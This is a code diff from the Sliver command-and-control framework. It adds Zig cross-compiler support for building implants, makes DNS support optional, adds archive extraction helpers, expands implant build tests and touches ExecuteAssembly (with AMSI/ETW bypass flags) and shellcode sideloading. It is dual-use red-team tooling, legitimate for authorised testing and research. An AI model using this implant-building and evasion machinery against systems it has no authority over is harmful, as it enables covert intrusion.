setupLog.Infof("Unpacking to '%s'", appDir)
@@ -205,7 +269,7 @@ func setupSGN(appDir string) error {
}
// SetupGoPath - Extracts dependencies to goPathSrc
func SetupGoPath(goPathSrc string) error {
func SetupGoPath(goPathSrc string, includeDNS bool) error {
// GOPATH setup
if _, err := os.Stat(goPathSrc); os.IsNotExist(err) {
@@ -243,15 +307,17 @@ func SetupGoPath(goPathSrc string) error {
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
// DNS PB
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
if err != nil {
setupLog.Info("Static asset not found: dns.pb.go")
return err
if includeDNS {
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
if err != nil {
setupLog.Info("Static asset not found: dns.pb.go")
return err
}
dnspbSrc = xorPBRawBytes(dnspbSrc)
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
os.MkdirAll(dnspbDir, 0700)
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
}
dnspbSrc = xorPBRawBytes(dnspbSrc)
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
os.MkdirAll(dnspbDir, 0700)
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
return nil
}
@@ -277,6 +343,108 @@ func stripSliverpb(src []byte) []byte {
return out
}
// UntarSkipTopLevel - Untar a tar file, skipping the top level directory
func untarSkipTopLevel(dst string, r io.Reader) error {
tr := tar.NewReader(r)
topLevel, _ := tr.Next()
if topLevel == nil {
return fmt.Errorf("no files found in tar")
}
if topLevel.Typeflag != tar.TypeDir {
return fmt.Errorf("expected top level to be a directory, got %v", topLevel.Typeflag)
}
for {
header, err := tr.Next()
switch {
// if no more files are found return
case err == io.EOF:
return nil
// return any other error
case err != nil:
return err
// if the header is nil, just skip it (not sure how this happens)
case header == nil:
continue
}
// the target location where the dir/file should be created
target := filepath.Join(dst, strings.TrimPrefix(header.Name, topLevel.Name))
// the following switch could also be done using fi.Mode(), not sure if there
// a benefit of using one vs. the other.
// fi := header.FileInfo()
// check the file type
switch header.Typeflag {
// if its a dir and it doesn't exist create it
case tar.TypeDir:
if _, err := os.Stat(target); err != nil {
if err := os.MkdirAll(target, 0700); err != nil {
return err
}
}
// if it's a file create it
case tar.TypeReg:
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
if err != nil {
return err
}
// copy over contents
if _, err := io.Copy(f, tr); err != nil {
return err
}
// manually close here after each file operation; defering would cause each file close
// to wait until all operations have completed.
f.Close()
}
}
}
// UnzipSkipTopLevel - Unzip a zip file, skipping the top level directory
func unzipSkipTopLevel(dst string, z *zip.Reader) error {
topLevel := ""
for index, file := range z.File {
if index == 0 {
topLevel = file.Name
continue
}
rc, err := file.Open()
if err != nil {
return err
}
defer rc.Close()
fPath := filepath.Join(dst, strings.TrimPrefix(file.Name, topLevel))
if file.FileInfo().IsDir() {
err = os.MkdirAll(fPath, 0700)
if err != nil {
return err
}
} else {
if err = os.MkdirAll(filepath.Dir(fPath), 0700); err != nil {
return err
}
outFile, err := os.OpenFile(fPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())
if err != nil {
return err
}
_, err = io.Copy(outFile, rc)
outFile.Close()
if err != nil {
return err
}
}
}
return nil
}
func xorPBRawBytes(src []byte) []byte {
var (
fileAst *ast.File
@@ -293,7 +461,7 @@ func xorPBRawBytes(src []byte) []byte {
}
var xorKey [8]byte
// generate random xor key
if _, err := insecureRand.Read(xorKey[:]); err != nil {
if _, err := rand.Read(xorKey[:]); err != nil {
// Panic because this is mandatory for the agent to work
panic(err)
}
+14
View File
@@ -67,6 +67,16 @@ func GetRootAppDir() string {
return dir
}
// GetZigDir
func GetZigDir() string {
zigDir, err := filepath.Abs(filepath.Join(GetRootAppDir(), zigDirName))
if err != nil {
setupLog.Errorf("Failed to get Zig directory: %s", err)
return filepath.Join(GetRootAppDir(), zigDirName)
}
return zigDir
}
// GetChunkDataDir - Get the Sliver chunk data dir, default is: ~/.sliver/crack/chunks/
func GetChunkDataDir() string {
chunkDir := filepath.Join(GetRootAppDir(), "crack", "chunks")
@@ -121,6 +131,10 @@ under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
}
setupGo(appDir)
err := setupZig(appDir)
if err != nil {
setupLog.Errorf("Failed to setup Zig: %s", err)
}
setupCodenames(appDir)
saveAssetVersion(appDir)
unpackDefaultTrafficEncoders(force)
+3 -6
View File
@@ -72,11 +72,8 @@ func (b *Builder) Start() {
os.Exit(1)
}
for {
select {
case event := <-events:
go b.handleBuildEvent(event)
}
for event := range events {
go b.handleBuildEvent(event)
}
}
@@ -212,7 +209,7 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
builderLog.Errorf("invalid output format: %s", extConfig.Config.Format)
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err)),
})
return
}
+1 -30
View File
@@ -20,7 +20,6 @@ package configs
import (
"errors"
"fmt"
"regexp"
"strings"
@@ -82,34 +81,6 @@ func coerceFileExt(value string) string {
return value
}
func coerceFiles(values []string, ext string) []string {
values = uniqueFileName(values)
coerced := []string{}
for _, value := range values {
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
}
coerced = append(coerced, value)
}
return coerced
}
func uniqueFileName(strSlice []string) []string {
allKeys := make(map[string]bool)
list := []string{}
for _, item := range strSlice {
item = fileNameExp.ReplaceAllString(item, "")
if len(item) < 1 {
continue
}
if _, value := allKeys[item]; !value {
allKeys[item] = true
list = append(list, item)
}
}
return list
}
func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
if len(config.Cookies) < 1 {
return ErrMissingCookies
@@ -165,7 +136,7 @@ func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
Do not allow backticks in user agents because that breaks compilation of the
implant.
*/
if strings.Index(config.UserAgent, "`") != -1 {
if strings.Contains(config.UserAgent, "`") {
// Blank out the user agent so that a default one will be filled in later
config.UserAgent = ""
return ErrUserAgentIllegalCharacters
+6 -10
View File
@@ -19,12 +19,9 @@ package configs
*/
import (
"encoding/hex"
"encoding/json"
insecureRand "math/rand"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/log"
@@ -134,6 +131,10 @@ type ServerConfig struct {
Logs *LogConfig `json:"logs"`
Watchtower *WatchTowerConfig `json:"watch_tower"`
GoProxy string `json:"go_proxy"`
// 'GOOS/GOARCH' -> CC path
CC map[string]string `json:"cc"`
CXX map[string]string `json:"cxx"`
}
// Save - Save config file to disk
@@ -205,12 +206,7 @@ func getDefaultServerConfig() *ServerConfig {
GRPCUnaryPayloads: false,
GRPCStreamPayloads: false,
},
CC: map[string]string{},
CXX: map[string]string{},
}
}
func getRandomID() string {
seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano()))
buf := make([]byte, 32)
seededRand.Read(buf)
return hex.EncodeToString(buf)
}
+91 -143
View File
@@ -25,7 +25,6 @@ import (
"fmt"
"io/fs"
insecureRand "math/rand"
"net/url"
"os"
"path"
"path/filepath"
@@ -52,37 +51,13 @@ import (
var (
buildLog = log.NamedLogger("generate", "build")
// RUNTIME GOOS -> TARGET GOOS -> TARGET ARCH
defaultCCPaths = map[string]map[string]map[string]string{
"linux": {
"windows": {
"386": "/usr/bin/i686-w64-mingw32-gcc",
"amd64": "/usr/bin/x86_64-w64-mingw32-gcc",
},
"darwin": {
// OSX Cross - https://github.com/tpoechtrager/osxcross
"amd64": "/opt/osxcross/target/bin/o64-clang",
"arm64": "/opt/osxcross/target/bin/aarch64-apple-darwin20.2-clang",
},
},
"darwin": {
"windows": {
"386": "/opt/homebrew/bin/i686-w64-mingw32-gcc",
"amd64": "/opt/homebrew/bin/x86_64-w64-mingw32-gcc",
},
"linux": {
// brew install FiloSottile/musl-cross/musl-cross
"amd64": "/opt/homebrew/bin/x86_64-linux-musl-gcc",
},
},
}
// SupportedCompilerTargets - Supported compiler targets
SupportedCompilerTargets = map[string]bool{
"darwin/amd64": true,
"darwin/arm64": true,
"linux/386": true,
"linux/amd64": true,
"linux/arm64": true,
"windows/386": true,
"windows/amd64": true,
}
@@ -139,40 +114,6 @@ const (
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
)
func copyC2List(src []*clientpb.ImplantC2) []models.ImplantC2 {
c2s := []models.ImplantC2{}
for _, srcC2 := range src {
c2URL, err := url.Parse(srcC2.URL)
if err != nil {
buildLog.Warnf("Failed to parse c2 url %v", err)
continue
}
c2s = append(c2s, models.ImplantC2{
Priority: srcC2.Priority,
URL: c2URL.String(),
Options: srcC2.Options,
})
}
return c2s
}
func isC2Enabled(schemes []string, c2s []models.ImplantC2) bool {
for _, c2 := range c2s {
c2URL, err := url.Parse(c2.URL)
if err != nil {
buildLog.Warnf("Failed to parse c2 url %v", err)
continue
}
for _, scheme := range schemes {
if scheme == c2URL.Scheme {
return true
}
}
}
buildLog.Debugf("No %v URLs found in %v", schemes, c2s)
return false
}
// GetSliversDir - Get the binary directory
func GetSliversDir() string {
appDir := assets.GetRootAppDir()
@@ -256,20 +197,18 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
// SliverSharedLibrary - Generates a sliver shared library (DLL/dylib/so) binary
func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
// Compile go code
appDir := assets.GetRootAppDir()
var cc string
var cxx string
appDir := assets.GetRootAppDir()
// Don't use a cross-compiler if the target bin is built on the same platform
// as the sliver-server.
if runtime.GOOS != config.GOOS {
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
if cc == "" {
return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
}
}
buildLog.Infof(" CC: %s", cc)
buildLog.Infof("CXX: %s", cxx)
goConfig := &gogo.GoConfig{
CGO: "1",
CC: cc,
@@ -328,15 +267,22 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
// SliverExecutable - Generates a sliver executable binary
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
// Compile go code
appDir := assets.GetRootAppDir()
cgo := "0"
if config.IsSharedLib {
cgo = "1"
}
// var cc string
// var cxx string
// cgo := "0"
// if runtime.GOOS != config.GOOS {
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
// cgo = "1"
// }
// buildLog.Infof(" CC: %s", cc)
// buildLog.Infof("CXX: %s", cxx)
goConfig := &gogo.GoConfig{
CGO: cgo,
CGO: "0",
GOOS: config.GOOS,
GOARCH: config.GOARCH,
GOROOT: gogo.GetGoRootDir(appDir),
@@ -406,8 +352,8 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
// srcDir - ~/.sliver/slivers/<os>/<arch>/<name>/src
srcDir := filepath.Join(projectGoPathDir, "src")
assets.SetupGoPath(srcDir) // Extract GOPATH dependency files
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
assets.SetupGoPath(srcDir, config.IncludeDNS) // Extract GOPATH dependency files
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
if err != nil {
buildLog.Errorf("fs perms: %v", err)
return "", err
@@ -482,7 +428,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
sliverCode := template.New("sliver")
sliverCode, err = sliverCode.Funcs(template.FuncMap{
"GenerateUserAgent": func() string {
return "" // renerateUserAgent(config.GOOS, config.GOARCH)
return pbC2Implant.UserAgent
},
}).Parse(sliverGoCode)
if err != nil {
@@ -578,7 +524,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
}
// renderTrafficEncoderAssets - Copies and compresses any enabled WASM traffic encoders
func renderTrafficEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
func renderTrafficEncoderAssets(_ *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
buildLog.Infof("Rendering traffic encoder assets ...")
encoderAssetsPath := filepath.Join(sliverPkgDir, "implant", "sliver", "encoders", "assets")
for _, asset := range config.Assets {
@@ -603,7 +549,7 @@ func renderTrafficEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.I
}
// renderNativeEncoderAssets - Render native encoder assets such as the english dictionary file
func renderNativeEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
func renderNativeEncoderAssets(_ *clientpb.ImplantBuild, _ *clientpb.ImplantConfig, sliverPkgDir string) {
buildLog.Infof("Rendering native encoder assets ...")
encoderAssetsPath := filepath.Join(sliverPkgDir, "implant", "sliver", "encoders", "assets")
@@ -664,46 +610,6 @@ func renderImplantEnglish() []string {
return implantDictionary
}
func renderChromeUserAgent(implantConfig *clientpb.HTTPC2ImplantConfig, goos string, goarch string) string {
if implantConfig.UserAgent == "" {
switch goos {
case "windows":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
}
case "linux":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
}
case "darwin":
switch goarch {
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderMacOSVer(implantConfig), renderChromeVer(implantConfig))
}
}
} else {
return implantConfig.UserAgent
}
// Default is a generic Windows/Chrome
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
}
func renderChromeVer(implantConfig *clientpb.HTTPC2ImplantConfig) string {
return ""
}
func renderMacOSVer(implantConfig *clientpb.HTTPC2ImplantConfig) string {
return ""
}
// GenerateConfig - Generate the keys/etc for the implant
func GenerateConfig(name string, implantConfig *clientpb.ImplantConfig) (*clientpb.ImplantBuild, error) {
var err error
@@ -794,38 +700,80 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
return cc, cxx
}
func findCrossCompilers(targetGoos string, targetGoarch string) (string, string) {
var found bool
func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string) {
// Get CC and CXX from ENV
cc, cxx := getCrossCompilersFromEnv(targetGoos, targetGoarch)
// Get CC and CXX from ENV -- First Priority
cc, cxx := getCrossCompilersFromEnv(targetGOOS, targetGOARCH)
if cc != "" && cxx != "" {
buildLog.Debugf("CC and CXX found in ENV: cc=%s, cxx=%s", cc, cxx)
return cc, cxx
}
// If no CC is set in ENV then look for default path(s), we need a CC
// but don't always need a CXX so we only WARN on a missing CXX
if cc == "" {
buildLog.Debugf("CC not found in ENV, using default paths")
if _, ok := defaultCCPaths[runtime.GOOS]; ok {
if cc, found = defaultCCPaths[runtime.GOOS][targetGoos][targetGoarch]; !found {
buildLog.Debugf("No default for %s/%s from %s", targetGoos, targetGoarch, runtime.GOOS)
// Server config file -- Second Priority
serverConfig := configs.GetServerConfig()
if serverConfig != nil {
if cc == "" {
if value, ok := serverConfig.CC[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]; ok {
cc = value
} else {
buildLog.Debugf("CC for %s/%s not found in ENV or server config", targetGOOS, targetGOARCH)
}
} else {
buildLog.Debugf("No default paths for %s runtime", runtime.GOOS)
}
if cxx == "" {
if value, ok := serverConfig.CXX[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]; ok {
cxx = value
} else {
buildLog.Debugf("CXX for %s/%s not found in ENV or server config", targetGOOS, targetGOARCH)
}
}
if cc != "" && cxx != "" {
buildLog.Debugf("CC and CXX found in ENV/server config: cc=%s, cxx=%s", cc, cxx)
return cc, cxx
}
}
// Check to see if CC and CXX exist
if cc != "" {
if _, err := os.Stat(cc); os.IsNotExist(err) {
buildLog.Warnf("CC path '%s' does not exist", cc)
// Defaults -- Tertiary Priority
// Darwin/zig doesn't work :( maybe it will in the future though
if targetGOOS != DARWIN && (cc == "" || cxx == "") {
zigTarget := map[string]string{
"windows/amd64": "x86_64-windows-gnu",
"windows/arm64": "aarch64-windows-gnu",
"windows/386": "x86-windows-gnu",
"linux/amd64": "x86_64-linux-musl",
"linux/386": "x86-linux-musl",
"linux/arm64": "aarch64-linux-musl",
"linux/ppc64": "powerpc64le-linux-musl",
}[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]
zigDir := assets.GetZigDir()
if cc == "" {
buildLog.Debugf("Using default zig cc for %s/%s", targetGOOS, targetGOARCH)
cc = fmt.Sprintf("%s cc -target %s", filepath.Join(zigDir, "zig"), zigTarget)
}
if cxx == "" {
buildLog.Debugf("Using default zig cxx for %s/%s", targetGOOS, targetGOARCH)
cxx = fmt.Sprintf("%s c++ -target %s", filepath.Join(zigDir, "zig"), zigTarget)
}
}
buildLog.Debugf(" CC = '%s'", cc)
if cxx != "" {
if _, err := os.Stat(cxx); os.IsNotExist(err) {
buildLog.Warnf("CXX path '%s' does not exist", cxx)
// Try to use OSXCross for cross-compiling to Darwin
if targetGOOS == DARWIN && runtime.GOOS != DARWIN {
if targetGOARCH == "amd64" && cc == "" {
buildLog.Debugf("Using default osxcross cc/cxx for %s/%s", targetGOOS, targetGOARCH)
cc = "/opt/osxcross/target/bin/o64-clang"
if cxx == "" {
cxx = cc
}
}
if targetGOARCH == "arm64" && cc == "" {
buildLog.Debugf("Using default osxcross cc/cxx for %s/%s", targetGOOS, targetGOARCH)
cc = "/opt/osxcross/target/bin/aarch64-apple-darwin20.2-clang"
if cxx == "" {
cxx = cc
}
}
}
buildLog.Debugf("CXX = '%s'", cxx)
return cc, cxx
}
@@ -996,7 +944,7 @@ const (
// this is currently set to '*' (all packages) however in the past we've had
// to carve out specific packages, so we left this here just in case we need
// it in the future.
func goGarble(config *clientpb.ImplantConfig) string {
func goGarble(_ *clientpb.ImplantConfig) string {
// for _, c2 := range config.C2 {
// uri, err := url.Parse(c2.URL)
// if err != nil {
+51 -16
View File
@@ -20,7 +20,6 @@ package generate
import (
"fmt"
"runtime"
"testing"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -36,14 +35,18 @@ func TestSliverExecutableWindows(t *testing.T) {
// Wireguard C2
wireguardExe(t, "windows", "amd64", false, false)
wireguardExe(t, "windows", "arm64", false, false)
wireguardExe(t, "windows", "386", false, false)
wireguardExe(t, "windows", "amd64", false, true)
wireguardExe(t, "windows", "arm64", false, true)
wireguardExe(t, "windows", "386", false, true)
// Wireguard beacon
wireguardExe(t, "windows", "amd64", true, false)
wireguardExe(t, "windows", "arm64", true, false)
wireguardExe(t, "windows", "386", true, false)
wireguardExe(t, "windows", "amd64", true, true)
wireguardExe(t, "windows", "arm64", true, true)
wireguardExe(t, "windows", "386", true, true)
// mTLS C2
@@ -82,12 +85,16 @@ func TestSliverExecutableWindows(t *testing.T) {
// Multiple C2s
multiExe(t, "windows", "amd64", false, true)
multiExe(t, "windows", "amd64", false, false)
multiExe(t, "windows", "arm64", false, true)
multiExe(t, "windows", "arm64", false, false)
multiExe(t, "windows", "386", false, false)
multiExe(t, "windows", "386", false, false)
// Multiple Beacons
multiExe(t, "windows", "amd64", true, true)
multiExe(t, "windows", "amd64", true, false)
multiExe(t, "windows", "arm64", true, true)
multiExe(t, "windows", "arm64", true, false)
multiExe(t, "windows", "386", true, false)
multiExe(t, "windows", "386", true, false)
@@ -97,50 +104,77 @@ func TestSliverExecutableWindows(t *testing.T) {
}
func TestSliverSharedLibWindows(t *testing.T) {
// amd64
multiLibrary(t, "windows", "amd64", true)
multiLibrary(t, "windows", "amd64", false)
// arm64
multiLibrary(t, "windows", "arm64", true)
multiLibrary(t, "windows", "arm64", false)
// 386
multiLibrary(t, "windows", "386", true)
multiLibrary(t, "windows", "386", false)
}
func TestSliverExecutableLinux(t *testing.T) {
// amd64
multiExe(t, "linux", "amd64", false, true)
multiExe(t, "linux", "amd64", false, false)
multiExe(t, "linux", "amd64", true, true)
multiExe(t, "linux", "amd64", true, false)
tcpPivotExe(t, "linux", "amd64", false)
// arm64
multiExe(t, "linux", "arm64", false, true)
multiExe(t, "linux", "arm64", false, false)
multiExe(t, "linux", "arm64", true, true)
multiExe(t, "linux", "arm64", true, false)
tcpPivotExe(t, "linux", "arm64", false)
// 386
multiExe(t, "linux", "386", false, true)
multiExe(t, "linux", "386", false, false)
multiExe(t, "linux", "386", true, true)
multiExe(t, "linux", "386", true, false)
tcpPivotExe(t, "linux", "386", false)
}
func TestSliverSharedLibraryLinux(t *testing.T) {
if runtime.GOOS == "linux" {
multiLibrary(t, "linux", "amd64", true)
multiLibrary(t, "linux", "amd64", false)
multiLibrary(t, "linux", "386", true)
multiLibrary(t, "linux", "386", false)
}
// amd64
multiLibrary(t, "linux", "amd64", true)
multiLibrary(t, "linux", "amd64", false)
// arm64
multiLibrary(t, "linux", "arm64", true)
multiLibrary(t, "linux", "arm64", false)
// 386
multiLibrary(t, "linux", "386", true)
multiLibrary(t, "linux", "386", false)
}
func TestSliverExecutableDarwin(t *testing.T) {
// amd64
multiExe(t, "darwin", "amd64", false, true)
multiExe(t, "darwin", "amd64", false, false)
multiExe(t, "darwin", "amd64", true, true)
multiExe(t, "darwin", "amd64", true, false)
tcpPivotExe(t, "darwin", "amd64", false)
// arm64
multiExe(t, "darwin", "arm64", false, true)
multiExe(t, "darwin", "arm64", false, false)
multiExe(t, "darwin", "arm64", true, true)
multiExe(t, "darwin", "arm64", true, false)
tcpPivotExe(t, "darwin", "arm64", false)
}
func TestSliverDefaultBuild(t *testing.T) {
mtlsExe(t, "linux", "arm", false, true)
mtlsExe(t, "linux", "arm", false, false)
httpExe(t, "freebsd", "amd64", false, false)
httpExe(t, "freebsd", "amd64", false, true)
dnsExe(t, "plan9", "amd64", false, false)
dnsExe(t, "plan9", "amd64", false, true)
mtlsExe(t, "linux", "arm", true, true)
mtlsExe(t, "linux", "arm", true, false)
httpExe(t, "freebsd", "amd64", true, false)
httpExe(t, "freebsd", "amd64", true, true)
dnsExe(t, "plan9", "amd64", true, false)
@@ -148,10 +182,11 @@ func TestSliverDefaultBuild(t *testing.T) {
}
func TestSymbolObfuscation(t *testing.T) {
// Supported platforms
symbolObfuscation(t, "windows", "amd64")
symbolObfuscation(t, "windows", "arm64")
symbolObfuscation(t, "linux", "amd64")
symbolObfuscation(t, "linux", "arm64")
symbolObfuscation(t, "linux", "386")
symbolObfuscation(t, "darwin", "amd64")
symbolObfuscation(t, "darwin", "arm64")
+3
View File
@@ -42,6 +42,9 @@ func SaveImplantProfile(pbProfile *clientpb.ImplantProfile) (*clientpb.ImplantPr
Name: profile.Name,
ImplantConfig: profile.ImplantConfig,
}).Error
if err != nil {
return nil, err
}
dbProfile, err = db.ImplantProfileByName(profile.Name)
if err != nil {
return nil, err
+4 -6
View File
@@ -26,15 +26,12 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/log"
)
const (
goDirName = "go"
kb = 1024
mb = 1024 * kb
gb = 1024 * mb
)
var (
@@ -111,7 +108,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
fmt.Sprintf("PATH=%s:%s:%s", filepath.Join(config.GOROOT, "bin"), assets.GetZigDir(), os.Getenv("PATH")),
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
fmt.Sprintf("HOME=%s", getHomeDir()),
}
@@ -154,7 +151,8 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
fmt.Sprintf("PATH=%s:%s:%s", filepath.Join(config.GOROOT, "bin"), assets.GetZigDir(), os.Getenv("PATH")),
fmt.Sprintf("HOME=%s", getHomeDir()),
}
var stdout bytes.Buffer
var stderr bytes.Buffer
+8 -8
View File
@@ -222,10 +222,10 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
func venomCmd(args []string) ([]byte, error) {
msfLog.Printf("%s %v", venomBin, args)
cmd := exec.Command(venomBin, args...)
var stdout bytes.Buffer
var stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
stdout := new(bytes.Buffer)
stderr := new(bytes.Buffer)
cmd.Stdout = stdout
cmd.Stderr = stderr
err := cmd.Run()
msfLog.Println(cmd.String())
if err != nil {
@@ -240,10 +240,10 @@ func venomCmd(args []string) ([]byte, error) {
// consoleCmd - Execute a msfvenom command
func consoleCmd(args []string) ([]byte, error) {
cmd := exec.Command(consoleBin, args...)
var stdout bytes.Buffer
var stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
stdout := new(bytes.Buffer)
stderr := new(bytes.Buffer)
cmd.Stdout = stdout
cmd.Stderr = stderr
err := cmd.Run()
if err != nil {
msfLog.Printf("--- stdout ---\n%s\n", stdout.String())
+10
View File
@@ -239,3 +239,13 @@ func (rpc *Server) Grep(ctx context.Context, req *sliverpb.GrepReq) (*sliverpb.G
}
return resp, nil
}
// Mount - Get information on mounted filesystems
func (rpc *Server) Mount(ctx context.Context, req *sliverpb.MountReq) (*sliverpb.Mount, error) {
resp := &sliverpb.Mount{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
+3 -3
View File
@@ -198,7 +198,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
req.Assembly,
req.IsDLL,
req.Arch,
req.Arguments,
strings.Join(req.Arguments, " "),
req.Method,
req.ClassName,
req.AppDomain,
@@ -214,7 +214,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
invokeInProcExecAssembly := &sliverpb.InvokeInProcExecuteAssemblyReq{
Data: req.Assembly,
Runtime: req.Runtime,
Arguments: strings.Split(req.Arguments, " "),
Arguments: req.Arguments,
AmsiBypass: req.AmsiBypass,
EtwBypass: req.EtwBypass,
Request: req.Request,
@@ -266,7 +266,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
}
if getOS(session, beacon) == "windows" {
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, req.Args, "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
if err != nil {
tasksLog.Errorf("Sideload failed: %s", err)
return nil, err
+10
View File
@@ -8,3 +8,13 @@ func Contains[T comparable](elements []T, v T) bool {
}
return false
}
// From the x/exp source code - gets a slice of keys for a map
func Keys[M ~map[K]V, K comparable, V any](m M) []K {
r := make([]K, 0, len(m))
for k := range m {
r = append(r, k)
}
return r
}
+45 -11
View File
@@ -65,6 +65,29 @@ const (
CrossedOut
)
const (
ResetBold Attribute = iota + 22
ResetItalic
ResetUnderline
ResetBlinking
_
ResetReversed
ResetConcealed
ResetCrossedOut
)
var mapResetAttributes map[Attribute]Attribute = map[Attribute]Attribute{
Bold: ResetBold,
Faint: ResetBold,
Italic: ResetItalic,
Underline: ResetUnderline,
BlinkSlow: ResetBlinking,
BlinkRapid: ResetBlinking,
ReverseVideo: ResetReversed,
Concealed: ResetConcealed,
CrossedOut: ResetCrossedOut,
}
// Foreground text colors
const (
FgBlack Attribute = iota + 30
@@ -246,10 +269,7 @@ func (c *Color) Printf(format string, a ...interface{}) (n int, err error) {
// On Windows, users should wrap w with colorable.NewColorable() if w is of
// type *os.File.
func (c *Color) Fprintln(w io.Writer, a ...interface{}) (n int, err error) {
c.SetWriter(w)
defer c.UnsetWriter(w)
return fmt.Fprintln(w, a...)
return fmt.Fprintln(w, c.wrap(fmt.Sprint(a...)))
}
// Println formats using the default formats for its operands and writes to
@@ -258,10 +278,7 @@ func (c *Color) Fprintln(w io.Writer, a ...interface{}) (n int, err error) {
// encountered. This is the standard fmt.Print() method wrapped with the given
// color.
